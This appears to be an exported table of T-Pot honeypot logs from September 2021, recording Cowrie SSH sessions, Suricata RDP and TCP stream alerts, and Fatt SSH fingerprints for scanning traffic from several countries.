35662	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:09:56.540962+03	2021-09-20 15:15:03.55969+03	{"_id": "lAYcA3wBvYTbRNuE4F3V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "42fa89b39981", "@version": "1", "duration": 1.3630902767181396, "timestamp": "2021-09-20T12:09:56.540962Z", "@timestamp": "2021-09-20T12:09:56.540Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	RU
35663	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:09:56.29991+03	2021-09-20 15:15:03.56169+03	{"_id": "mAYcA3wBvYTbRNuE4V35", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:55.948939+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1549061460294347, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 56252, "dest_port": 3389, "timestamp": "2021-09-20T12:09:56.299910Z", "@timestamp": "2021-09-20T12:09:56.299Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
35664	163.172.167.225	109.199.241.180	Fatt	2021-09-20 15:09:59.452338+03	2021-09-20 15:15:03.56369+03	{"_id": "wwYcA3wBvYTbRNuE7l33", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "163.172.167.225", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 37134, "dest_port": 22, "timestamp": "2021-09-20T12:09:59.452338", "@timestamp": "2021-09-20T12:09:59.452Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	FR
35665	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 15:10:00.009128+03	2021-09-20 15:15:03.564689+03	{"_id": "xQYcA3wBvYTbRNuE8F14", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "b5c4f16cdc52", "@version": "1", "duration": 1.337397813796997, "timestamp": "2021-09-20T12:10:00.009128Z", "@timestamp": "2021-09-20T12:10:00.009Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	RU
35666	5.188.62.196	109.199.241.180	Suricata	2021-09-20 15:09:55.256264+03	2021-09-20 15:15:03.56569+03	{"_id": "jAYcA3wBvYTbRNuE3l0P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "flow_id": 1405865103170779, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52550, "dest_port": 22, "timestamp": "2021-09-20T12:09:55.256264Z", "@timestamp": "2021-09-20T12:09:55.256Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	RU
35667	5.188.62.196	109.199.241.180	Fatt	2021-09-20 15:09:55.258678+03	2021-09-20 15:15:03.56769+03	{"_id": "kgYcA3wBvYTbRNuE311S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "eccf733a56108dec8ecc8efbc681be63", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 52550, "dest_port": 22, "timestamp": "2021-09-20T12:09:55.258678", "@timestamp": "2021-09-20T12:09:55.258Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	RU
35668	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:09:56.735409+03	2021-09-20 15:15:03.56869+03	{"_id": "lgYcA3wBvYTbRNuE4V35", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:55.948939+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1549061460294347, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 56252, "dest_port": 3389, "timestamp": "2021-09-20T12:09:56.735409Z", "@timestamp": "2021-09-20T12:09:56.735Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
35669	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:09:58.996097+03	2021-09-20 15:15:03.56969+03	{"_id": "vQYcA3wBvYTbRNuE7l33", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "163.172.167.225", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37060, "timestamp": "2021-09-20T12:09:58.996097", "@timestamp": "2021-09-20T12:09:58.996Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35670	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:09:49.000314+03	2021-09-20 15:15:03.570691+03	{"_id": "ZwYcA3wBvYTbRNuEyl2D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:48.265960+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "87.251.67.120", "flow_id": 1295540273811176, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 45070, "timestamp": "2021-09-20T12:09:49.000314Z", "@timestamp": "2021-09-20T12:09:49.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
35671	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 15:09:51.497064+03	2021-09-20 15:15:03.57169+03	{"_id": "aQYcA3wBvYTbRNuEzV1J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 91.231.219.157:45326 (192.168.176.2:22) [session: dfc4ecd070a9]", "session": "dfc4ecd070a9", "@version": "1", "protocol": "ssh", "src_port": 45326, "dest_port": 22, "timestamp": "2021-09-20T12:09:51.497064Z", "@timestamp": "2021-09-20T12:09:51.497Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	RU
35672	91.231.219.157	109.199.241.180	Suricata	2021-09-20 15:09:51.603042+03	2021-09-20 15:15:03.573689+03	{"_id": "awYcA3wBvYTbRNuEzl1s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.231.219.157", "dest_ip": "192.168.20.116", "flow_id": 1573134751695426, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45326, "dest_port": 22, "timestamp": "2021-09-20T12:09:51.603042Z", "@timestamp": "2021-09-20T12:09:51.603Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	RU
35673	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:09:51.501217+03	2021-09-20 15:15:03.57469+03	{"_id": "cwYcA3wBvYTbRNuEz12y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "91.231.219.157", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45326, "timestamp": "2021-09-20T12:09:51.501217", "@timestamp": "2021-09-20T12:09:51.501Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35674	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 15:09:52.114352+03	2021-09-20 15:15:03.575691+03	{"_id": "dAYcA3wBvYTbRNuE0V0y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.login.failed", "message": "login attempt [research/password] failed", "session": "dfc4ecd070a9", "@version": "1", "password": "password", "username": "research", "timestamp": "2021-09-20T12:09:52.114352Z", "@timestamp": "2021-09-20T12:09:52.114Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	RU
35675	80.158.23.146	109.199.241.180	Suricata	2021-09-20 15:09:53.609266+03	2021-09-20 15:15:03.57769+03	{"_id": "eAYcA3wBvYTbRNuE1l09", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:53.609266+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "80.158.23.146", "asn": 3320, "as_org": "Deutsche Telekom AG", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "src_ip": "80.158.23.146", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 395993737677810, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 80, "dest_port": 40162, "timestamp": "2021-09-20T12:09:53.609266Z", "@timestamp": "2021-09-20T12:09:53.609Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	DE
35676	80.158.23.146	109.199.241.180	Suricata	2021-09-20 15:09:54.139356+03	2021-09-20 15:15:03.57869+03	{"_id": "ewYcA3wBvYTbRNuE2l0n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:53.609266+0000", "pkts_toclient": 0, "pkts_toserver": 5, "bytes_toclient": 0, "bytes_toserver": 300}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM RST recv but no session", "signature_id": 2210041}, "geoip": {"ip": "80.158.23.146", "asn": 3320, "as_org": "Deutsche Telekom AG", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "src_ip": "80.158.23.146", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 395993737677810, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 80, "dest_port": 40162, "timestamp": "2021-09-20T12:09:54.139356Z", "@timestamp": "2021-09-20T12:09:54.139Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	DE
35677	80.158.23.146	109.199.241.180	Suricata	2021-09-20 15:09:54.146112+03	2021-09-20 15:15:03.57969+03	{"_id": "fgYcA3wBvYTbRNuE2l0n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:53.609266+0000", "pkts_toclient": 0, "pkts_toserver": 6, "bytes_toclient": 0, "bytes_toserver": 360}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM Packet with broken ack", "signature_id": 2210051}, "geoip": {"ip": "80.158.23.146", "asn": 3320, "as_org": "Deutsche Telekom AG", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "src_ip": "80.158.23.146", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 395993737677810, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 80, "dest_port": 40162, "timestamp": "2021-09-20T12:09:54.146112Z", "@timestamp": "2021-09-20T12:09:54.146Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	DE
35678	80.158.23.146	109.199.241.180	Suricata	2021-09-20 15:09:54.095029+03	2021-09-20 15:15:03.58069+03	{"_id": "gAYcA3wBvYTbRNuE2l0n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:53.609266+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 180}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "80.158.23.146", "asn": 3320, "as_org": "Deutsche Telekom AG", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "src_ip": "80.158.23.146", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 395993737677810, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 80, "dest_port": 40162, "timestamp": "2021-09-20T12:09:54.095029Z", "@timestamp": "2021-09-20T12:09:54.095Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	DE
